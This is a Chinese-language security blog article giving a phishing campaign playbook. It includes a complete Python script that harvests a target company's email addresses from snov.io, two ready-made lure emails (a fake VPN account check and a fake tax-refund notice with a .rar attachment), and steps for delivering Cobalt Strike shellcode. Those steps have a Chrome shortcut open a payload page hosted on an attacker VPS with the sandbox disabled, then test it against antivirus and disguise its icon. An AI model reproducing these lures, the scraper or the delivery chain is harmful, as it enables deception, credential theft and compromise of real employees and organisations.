2023钓鱼攻击思路整理~ | xxx2023钓鱼攻击思路整理~ – xxx
菜单

2023钓鱼攻击思路整理~

十二月 28, 2022 - 安全脉搏

文章来源|Ms08067安全实验室

本文作者:Taoing

钓鱼思路整理
一、目标信息收集
二、目标环境
三、社交
四、基础设施
五、邮件
邮箱信息收集
六、钓鱼话术模板
案例一:
案例二:
案例三钓鱼案例:Chrome漏洞一键修复


一、目标信息收集

二、目标环境

三、社交

四、基础设施

五、邮件

邮箱信息收集

python3 .snov.py -u 注册时的邮箱 -p 注册时的密码 -t baidu.com

2023钓鱼攻击思路整理~

# -*- coding: utf-8 -*-# @Time : 2021年08月04日:14时34分# @File : snov.pyimport requestsimport reimport jsonfrom urllib.parse import unquotefrom math import ceilfrom optparse import OptionParser #用于生成帮助文档from os.path import existsimport warningswarnings.filterwarnings('ignore')
class Snov:def __init__(self):self.domain="https://app.snov.io"self.headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15'}self.session=requests.session()
def _login(self,username,password): #自动登录功能session=requests.session() #定义sessionurl=self.domain+"/login"response=session.get(url=url,headers=self.headers)data=response.content.decode()pattern="name="_token"s?value="(.*?)"" #获取登录使用的tokenresult=re.findall(pattern,data)try:_token=result[0]except:return Falseparam={"email":username,"password":password,"_token":_token,"remember":"off"}response=session.post(url=url,data=param,headers=self.headers,verify=False)XSRF_TOKEN=session.cookies.get("XSRF-TOKEN")self.headers['X-XSRF-TOKEN']=unquote(XSRF_TOKEN) #将XSRF_TOKEN复制self.session=sessionreturn True
def _getDomainSearch(self,searchDomain):param={"domain":searchDomain,"isGreen":"true","lastId":0,"perPage":20}url=self.domain+"/domain-search"headers = self.headersheaders['Content-Type'] = "application/json"response=self.session.post(url=url,headers=headers,data=json.dumps(param),verify=False)data=response.content.decode()data=json.loads(data)try:id=data.get("companyInfo",None).get('id',None)return id #返回公司idexcept:return False
def _getTotal(self,id): #获取邮箱和联系人总个数url=self.domain+"/companies/"+str(id)headers = self.headersheaders['Content-Type'] = "application/json"response=self.session.post(url=url,data=None,headers=headers,verify=False)data=response.content.decode()data=json.loads(data)try:emailsTotal=data.get("emailsTotal",0)contactsTotal=data.get("contactsTotal",0)return (emailsTotal,contactsTotal)except:return (0,0)def _getMail(self,total,id,target): #获取全部邮箱url = self.domain + "/companies/" + str(id) + "/" + "emails"headers = self.headersheaders['Content-Type'] = "application/json"headers['Referer'] = "https://app.snov.io/domain-search?name={}&tab=emails".format(target)headers['X-Requested-With'] = "XMLHttpRequest"#total=452count=ceil(total/200)print("{}一个有{}个邮箱,分{}次获取".format(target,total,count))lastId=Nonefor i in range(1,count+1,1):if not lastId:param={"isGreen":True,"lastId":0,"perPage":200,"page":i}response=self.session.post(url=url,data=json.dumps(param),headers=headers,timeout=50,verify=False)data=response.content.decode()data=json.loads(data)lists=data.get("list",None)lastId=data.get("lastId",1)self._storeMail(lists,target)elif lastId:param={"isGreen":True,"lastId":lastId,"perPage":200,"domain":""}response = self.session.post(url=url, data=json.dumps(param), headers=headers, timeout=50, verify=False)data = response.content.decode()data = json.loads(data)lists = data.get("list", None)lastId = data.get("lastId", 1)self._storeMail(lists,target)
def _storeMail(self,lists,target):storage="./"+target+"_mails.txt"if lists:with open(storage,"a",encoding="utf-8") as fp:for list in lists:email=list.get('email',None)if email:fp.write(email)fp.write("n")
def run(self,username,password,targets):if self._login(username=username,password=password):for target in targets:print("开始查询{}。".format(target))id=self._getDomainSearch(target.strip())emailsTotal, contactsTotal = self._getTotal(id)self._getMail(emailsTotal,id,target)else:exit("登录出错!")
if __name__ == '__main__':parser = OptionParser()parser.add_option("-u", "--user", dest="username", default=None, help="用户名")parser.add_option("-p", "--pass", dest="password", default=None, help="登录密码")parser.add_option("-t", "--target", dest="target", default=None, help="要查询的域名,多个目标使用,隔开")parser.add_option("-f", "--file", dest="file", default=None, help="可以使用文件输入目标,一行一个")(options, args) = parser.parse_args() # 取值并且存入optionsif (options.username and options.password):if options.target:targets=options.target.split(",")print(targets)elif exists(options.file):targets=list()with open(options.file,"r",encoding='utf-8') as fp:line=fp.readline()while line:line=line.strip()targets.append(line)line=fp.readline()else:targets=Noneif targets:snov=Snov()snov.run(options.username.strip(),options.password.strip(),targets)else:exit("输入有误,滚啊!!!")

六、钓鱼话术模板

案例一:

亲爱的同事们:
近期,公司监控系统捕捉到某些VPN账号存在数次异常操作行为,根据我司(集团)网络安全规定,为确保账号安全,现需要所有具有VPN登录权限的同事配合(无VPN登录权限的同事可直接忽略此邮件),尽快重新登录VPN系统以完成VPN账号安全检查,登录VPN系统自动检查账号安全性,检查过程将全程自动进行,无需人工干预,具体操作如下图所示,注:逾期未进行安全自检的VPN账号将全部被收回或锁定,系统邮件,请勿回复

案例二:

关于2021年度绩效结算个人所得税税收优化的情况通报

关于2021年度绩效结算个人所得税税收优化的情况通报各单位:

根据《关于延续实施全年一次性奖金等个人所得税优惠政策的公告》(财政部税务总局2021年第42号公告),全年一次性奖金单独计税优惠政策,执行期限延长至2023年12月31日。

为确保广大职工充分享受该项税收优惠政策,2021年底计财处对每一名职工的全年工薪收入和各类扣除情况进行了分析测算,按政策将大部分职工年底发放的部分绩效结算金额按全年一次性奖金优化计税。优化后,有78.2%的职工可节约税金。在2022年2月底申报期完成全年一次性奖金纳税申报后,计财处会按程序将节约的税金发至职工***上。

需要说明:经过对职工全年应缴税额和已扣税额对比,有部分职工需要补税(名单见附件),补税的金额将在后续发放的绩效中扣除。产生补税的原因主要是部分职工在2021年12月通过个人所得税APP修改了专项附加扣除,由于操作不当,导致全年专项附加扣除额度减少,从而应缴税额增加。建议这部分职工在使用个人所得税年度APP进行汇算清缴时,将专项附加扣除修改正确,可申请退回这部分税金。

附件名称:2021年度本单位职工个税补缴名单.rar

案例三:钓鱼案例:Chrome漏洞一键修复

补丁欺骗、利用Tools欺骗、通知欺骗。等思路结合,自行脑补

2023钓鱼攻击思路整理~

CobaltStrike→生成shellcode

2023钓鱼攻击思路整理~

将/替换为,0

下载payload地址

2023钓鱼攻击思路整理~

2023钓鱼攻击思路整理~

保存–>上传你的vps

2023钓鱼攻击思路整理~

chrome 浏览器 创建快捷方式到桌面 右键编辑快捷方式

增加 -no-sandbox 参数 关闭沙箱
-no-sandbox http://xx.xx.xxx.xxx/payload.html 

#加入点击快捷方式直接上线

2023钓鱼攻击思路整理~

测试火绒

2023钓鱼攻击思路整理~

更改图标

2023钓鱼攻击思路整理~

图标地址:%SystemRoot%System32imageres.dll

本文作者:Ms08067安全实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/194290.html


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51